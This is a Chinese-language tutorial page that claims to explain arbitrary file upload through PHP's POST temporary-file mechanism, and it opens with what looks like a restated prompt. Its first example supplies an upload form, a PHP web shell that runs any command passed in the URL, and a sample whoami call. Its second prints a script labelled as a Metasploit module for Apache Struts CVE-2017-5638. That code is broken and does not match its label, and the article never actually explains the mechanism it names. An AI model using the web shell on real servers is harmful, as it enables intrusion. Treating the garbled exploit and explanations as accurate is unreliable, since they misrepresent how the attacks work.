理解题意:要求提供一份完整的攻略,介绍如何通过PHP的POST临时文件机制实现任意文件上传。攻略需要包括原理、步骤以及至少两个具体的示例说明。
原理
POST请求中可以包含上传文件的内容,通过PHP的$_FILES全局变量可以获得上传文件的信息,同时,PHP会在服务器本地创建一个临时文件,该临时文件可以在后续的操作中用到。
读取临时文件的方式有很多种,攻击者可以通过该方式上传恶意文件,从而实现攻击目标。
步骤
以下是基本步骤:
- 构造文件上传的POST请求,向目标服务器发送请求。
- 服务器接收到请求,会把上传的文件信息存储在$_FILES中,同时创建一个临时文件。
- 攻击者读取临时文件,进行后续的恶意操作。
示例一
以下是一个基本的文件上传攻击的示例:(假设目标服务器存在upload.php文件,可以接收文件上传请求)
<form enctype="multipart/form-data" action="http://example.com/upload.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
<input type="file" name="userfile" />
<input type="submit" value="Upload File" />
</form>
攻击者可以通过此界面上传任意文件,其中name属性为userfile的input标签中的文件即为上传的文件。
例如,攻击者可以上传一个名为“evil.php”的文件,其中包含如下代码:
<?php
system($_GET['cmd']);
?>
接着,攻击者可以在URL中发送一条如下所示的命令:
http://example.com/uploads/evil.php?cmd=whoami
这会运行whoami命令并将结果返回到攻击者的浏览器中。
示例二
在例子一中,攻击者可以通过查询uploaded_files数组来检查是否已经成功上传文件。但是使用这种方法时还必须知道从哪个文件上传目录查找上传的文件。为了使攻击更加隐蔽,攻击者可以使用PoC工具生成来攻击的链接,例如,以下是一段从Metasploit工具中获取的PoC脚本:
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/
##
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection (S2-045)',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache
Struts version between 2.3.5 and 2.3.31 (except 2.3.20.2 and 2.3.24.2).
Remote Code Execution can be performed via a malicious Content-Type value.
This module uses the 'Content-Type' header to specify the payload.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nixawk', #fuzzbunch.py from shadowbrokers arsenal
'Nixawk' #metasploit moduel from fuzzbunch exploit
],
'References' =>
[
[ 'CVE', '2017-5638' ],
[ 'URL', 'http://seclists.org/oss-sec/2017/q1/536' ],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045' ],
[ 'URL', 'https://www.exploit-db.com/exploits/41570/' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000, # 1024 * 1024 = 1M
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python ruby bash telnet',
}
},
'Platform' => %w{ linux unix win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['Apache Struts 2.3 - 2.3.31 (except 2.3.20.2 and 2.3.24.2)', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 06 2017'))
deregister_options('Proxies')
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI path of the Struts application', '/struts2-showcase/']),
OptString.new('CMD', [false, 'The command to execute', 'uname -a']),
])
end
def check
flag_p = rand_text_alpha(8)
flag_v = rand_text_alpha(8)
poc = '<P>#{%27%25%28%27+"%2b'+flag_p+'+"%2b%27%25%28%27}suman%{#'+flag_v+'%3d7*7}.test%{#'+flag_v+'}</p>'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'acctglaze', 'dispatch.action'),
'method' => 'GET',
})
if res && res.code == 200 && res.body =~ /name="k1" id="k1"/
print_good("#{peer} - Apache Struts < 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
return Exploit::CheckCode::Appears
elsif res && res.code == 200 && res.body =~ /#{flag_p}/ && res.body =~ /#{flag_v}/
print_good("#{peer} - Apache Struts < 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def upload_exe(cmd)
exe_out = generate_payload_exe
post_data = Rex::MIME::Message.new
post_data.add_part("suman", nil, nil, "form-data; name=\"name\"")
post_data.add_part(exe_out, 'application/octet-stream', nil, "form-data; name=\"userid\";filename=\"test.txt\"")
data = post_data.to_s.gsub(/^\r\n\-\-\_Part/, '--_Part')
boundary = "--_Part"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, '/ajax', '/upload.action'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
if res && res.body =~ /"savename":".*?"/m
filename = res.body.scan(/"savename":"(.*?)"/m).flatten.first.gsub(/\\u0027/,"'")
print_status("The file \"#{filename}\" has been uploaded via payload.")
@_path = filename
else
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed: #{res.code} #{res.message}")
end
end
def execute_command(cmd, opts={})
payload_exe = "#{@tempdir}/#{@rand}.exe"
begin
upload_exe(cmd)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, '?'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "name=%27%2b%28%28%27#{URI.escape(opts[:prefix]||''+(rand_text_alpha(8))}%27%29%29%2b%27&age=y&description=nagehoh&myPhoto=#{/.*\/(.*)/.match(@_path)[1]}&submit=Submit#"
}
)
@exe_cmd = "#{payload_exe} #{@payload_name} #{@payload_q}"
end
def exploit
print_status("#{peer} - Checking if the target is vulnerable...")
check_code = check
if check_code == Exploit::CheckCode::Appears
print_status("#{peer} - Uploading and executing the payload...")
execute_command(payload.raw, :prefix => 'echo %COMSPEC% > ')
if res && res.code == 200 && res.body =~ /#{payload.raw}/
print_good("#{peer} - #{res.body}")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to execute the payload.")
end
else
fail_with(Failure::NotVulnerable, "#{peer} - Target is not vulnerable.")
end
end
end
end
该脚本会在上传时将恶意代码转换为字符串,并通过POST请求上传。如果攻击成功,该脚本会在服务器上运行Payload包含的命令,攻击者随后便可以在自己的机器上获取命令执行结果。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:利用PHP POST临时文件机制实现任意文件上传的方法详解 - Python技术站